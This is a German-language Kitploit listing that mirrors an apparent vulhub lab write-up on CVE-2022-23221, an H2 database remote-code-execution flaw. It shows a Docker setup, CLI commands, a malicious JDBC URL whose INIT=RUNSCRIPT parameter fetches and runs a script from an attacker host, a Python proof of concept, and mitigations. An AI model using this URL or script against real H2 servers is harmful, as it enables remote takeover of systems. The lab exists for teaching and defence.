Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
H2-database-CVE-2022-23221 — # vulhub/H2-database/CVE-2022-23221 | Kitploit
Tools/GitHubGitHub/straightsang/h2-database-cve-2022-23221
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

# vulhub/H2-database/CVE-2022-23221

Repository anzeigen
3vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

H2 Database RCE (CVE-2022-23221)


  • whs4_1반_고늘상(@straightSang)

1. Zusammenfassung

  • Referenz: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 ist ein relationales Datenbankmanagementsystem, das die Möglichkeit bietet, Java-Code direkt in der SQL-Engine zu kompilieren und auszuführen.

  • Der H2-Treiber parst JDBC-URLs, um die Verbindung zwischen der Anwendung und der Datenbank herzustellen. Dabei können über die in der URL enthaltenen Konfigurationsparameter der Anfangszustand oder das Verhalten der Datenbank gesteuert werden.

  • In den betroffenen H2-Versionen vor 2.1.210 besteht das Problem, dass über den INIT-Parameter der JDBC-URL entfernte SQL-Skripte ausgeführt werden können. Ein Angreifer kann dies ausnutzen, um manipulierte SQL-Skripte remote einzuschleusen und über deren Syntax Systembefehle auszuführen, wodurch die Schwachstelle CVE-2022-23221 ausgelöst wird.

  • Die Merkmale dieser Schwachstelle sind wie folgt:

    1. Keine Authentifizierung erforderlich: Jeder, der die Berechtigung zur Eingabe einer JDBC-URL hat, kann diese Schwachstelle nutzen, um die Kontrolle über das System zu übernehmen.
    2. Automatische Ausführung beim Dienststart: Wenn der Angreifer nur die Konfigurationsdatei ändert, wird beim Start des Dienstes, der H2 verwendet, automatisch RCE (Remote Code Execution) ausgelöst.
    3. Heimlichkeit: Es ist für Entwickler schwierig, den Angriff zu erkennen.
    4. Großer Schadensbereich: Aufgrund der hohen Geschwindigkeit und Leichtgewichtigkeit von H2 wird H2 für die Entwicklung und das Testen verschiedener Webdienste verwendet. Da alle Umgebungen, die JDBC-URLs über Konfigurationsdateien oder durch Benutzereingaben festlegen können, Ziel von Angriffen über diese Schwachstelle sein können, ist die Wirkung groß.
  • Betroffener Bereich der Schwachstelle

    • Betroffene Versionen: H2 kleiner als 2.1.210
    • Patch-Version: H2 2.1.210 oder höher

  • 2. Bedingungen der Schwachstelle

    • Es muss eine H2-Version vor 2.1.210 verwendet werden.
    • Die JDBC-URL muss IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql' enthalten.
      1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Umgehung der Sicherheitseinstellungen
        • Wenn diese Parameter vorhanden sind, werden die Sicherheitseinstellungen außer Kraft gesetzt, sodass der Befehl zur Ausführung des entfernten Skripts bei der Initialisierung nicht blockiert, sondern ungehindert ausgeführt wird.
      2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL-Befehl, der automatisch bei der Verbindung zwischen Anwendung und DB ausgeführt wird
        • Wenn der Wert des INIT-Parameters den SQL-Befehl RUNSCRIPT und die Adresse des bösartigen Skripts enthält, verbindet sich H2 bei erfolgreicher Verbindung zwischen Anwendung und H2-DB mit dem entsprechenden Server, lädt die Datei herunter und führt sie aus.
    • Das heruntergeladene SQL-Skript muss eine CREATE ALIAS-SQL-Anweisung enthalten.
      • Die CREATE ALIAS-Anweisung innerhalb des remote auszuführenden Skripts veranlasst H2, die Java-Funktionen im Skript innerhalb der DB auszuführen, was letztendlich zu RCE führt.




    3. Umgebungskonfiguration

    • Szenario

      • Eine verwundbare H2-Umgebung wird eingerichtet und eine bösartige JDBC-URL wird in H2 eingegeben. H2 parst diese URL ohne ordnungsgemäße Validierung und lädt die SQL-Datei vom Angreifer-Server herunter und führt sie aus. Wenn im Log des h2-vulnerable-Servers die Zeichenkette „EXPLOITED“ zusammen mit den Ausführungsergebnissen der Befehle id, whoami, pwd ausgegeben wird, bedeutet dies, dass die verwundbare H2-Umgebung eingerichtet wurde und die Datei exploit.sql während des Parsens der bösartigen JDBC-URL durch H2 remote vom externen Angreifer-Server heruntergeladen und ausgeführt wurde.
    • Umgebungskonfiguration

      root@kitploit:~
      docker compose up -d 
      

      docker ps

      • Nach Ausführung des Befehls werden die folgenden Umgebungen gestartet.
      • h2-vulnerable: H2 2.0.206 (verwundbare Version vor dem Patch)
        • H2-Webkonsole: http://your-ip:8082
        • TCP-Server: tcp://your-ip:9092
      • attacker: HTTP-Server
        • http://your-ip:8000 : Stellt die Datei exploit.sql bereit
    • Nach der Umgebungskonfiguration erscheint die H2-Webseite, wenn Sie http://your-ip:8082 aufrufen.




    4. Reproduktionsablauf

    : Da in der Webkonsole Sicherheitsrichtlinien angewendet werden und die für die Schwachstelle erforderlichen Parameter gefiltert werden können, wird die JDBC-URL mit den bösartigen Parametern direkt über die CLI eingegeben, um die Schwachstelle zu reproduzieren und das Ergebnis zu überprüfen.

    [Fall einer normalen Anfrage]

    • Normale JDBC-URL: "jdbc:h2:mem:test"

    • Befehl für normale Anfrage

      root@kitploit:~
      docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:mem:test" \
      -user sa \
      -password ""
      
    • Ausführungsergebnis CLI-basierte Ausführung

      • Keine Anfrage auf dem Angreifer-Server eingegangen
      • Keine besonderen Logs auf dem h2-vulnerable-Server ausgegeben

    [Fall eines Schwachstellenangriffs]

    • Bösartige JDBC-URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

    1. Ausführung des Angriffs

    • Die bösartige JDBC-URL wird in den H2-Treiber eingegeben, um eine Verbindung zum Angreifer-Server herzustellen. Es gibt zwei Möglichkeiten, die URL einzugeben.

      1. Eingabe der bösartigen JDBC-URL direkt in die H2-Shell über die CLI.
      root@kitploit:~
      docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
        -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
        -user sa \
        -password ""
      

      CLI-basierte Ausführung

      1. Ausführung der PoC-Datei.
      root@kitploit:~
      python3 poc.py
      

      Ausführung von poc.py

    2. Dateianfrage und -ausführung

    • H2 fordert gemäß dem im INIT-Parameter der JDBC-URL angegebenen INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' die Datei exploit.sql vom Angreifer-Server an (HTTP GET) und führt sie innerhalb der H2-Datenbank aus.

      1. Mit docker logs attacker können die Anfrage-Logs für die Datei exploit.sql vom h2-vulnerable-Server eingesehen werden.
      root@kitploit:~
      docker logs attacker
      

      1. Der Angreifer-Server gibt die angeforderte Datei exploit.sql zurück, und der h2-vulnerable-Server führt die empfangene Datei exploit.sql aus. Dabei veranlasst die CREATE ALIAS-Anweisung im Skript die Ausführung von Java-Code, wodurch RCE ausgelöst wird.


    5. poc.py-Code

    root@kitploit:~
    #!/usr/bin/env python3
    
    # 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
    # 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
    
    import subprocess
    import time
    import sys
    
    """
    함수 이름: exploit_h2()
    기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
    반환값: True->공격 성공, False->공격 실패
    """
    def exploit_h2():
        
        # H2 서버 준비 대기
        time.sleep(3)
        
        # 검증 우회 파라미터가 포함된 JDBC URL
        # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
        # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
        # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
        jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
        
        try:
            # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
            cmd = [
                'docker', 'exec', 'h2-vulnerable',
                'java', '-cp', '/h2-bin/h2.jar',
                'org.h2.tools.Shell',
                '-url', jdbc_url,
                '-user', 'sa',
                '-password', ''
            ]
            
            # Docker 명령어 실행 및 결과
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=15
            )
            
            return True
            
        except Exception as e:
            print(f"[-] 에러: {e}")
            return False
    
    """
    함수 이름: main()
    기능: 공격 실행 및 공격 성공여부를 출력한다. 
    반환값: 없음
    """
    def main():
    
        if exploit_h2():
            print("[+] 공격 완료")
        else:
            print("[-] 공격 실패")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    



    6. Ausführungsergebnis

    • Als Ergebnis der Ausführung der Datei exploit.sql werden im Log des h2-vulnerable-Servers die Zeichenkette „EXPLOITED“ zusammen mit den Ausführungsergebnissen der Befehle id, whoami, pwd ausgegeben.

    • Die Logs können mit docker logs h2-vulnerable eingesehen werden.

      root@kitploit:~
      docker logs h2-vulnerable`
      

      Überprüfung des Ausführungsergebnisses

    => Dies bedeutet, dass die verwundbare H2-Umgebung eingerichtet wurde und der entfernte Download und die Ausführung der Datei während des Parsens der bösartigen JDBC-URL durch H2 erfolgreich waren.


    7. Gegenmaßnahmen

    • Upgrade auf H2-Version 2.1.210 oder höher
      • Patch-Inhalt: Einschränkung der externen Skriptausführungsfunktion des INIT-Parameters
      • Veröffentlichungsdatum: 2022-05-15
    • Verstärkte Validierung der JDBC-URL-Eingabewerte: Eingaben blockieren, die Parameter wie INIT, RUNSCRIPT enthalten, die Remote-Code-Ausführung auslösen, und die JDBC-URL-Eingabe auf Whitelist-Basis validieren.
    • Überwachung der Integrität von Konfiguration und Umgebung: Bei Änderungen an Konfigurationsdateien nach der Überprüfung auf Manipulation die Genehmigung des Administrators einholen.
    Tool herunterladen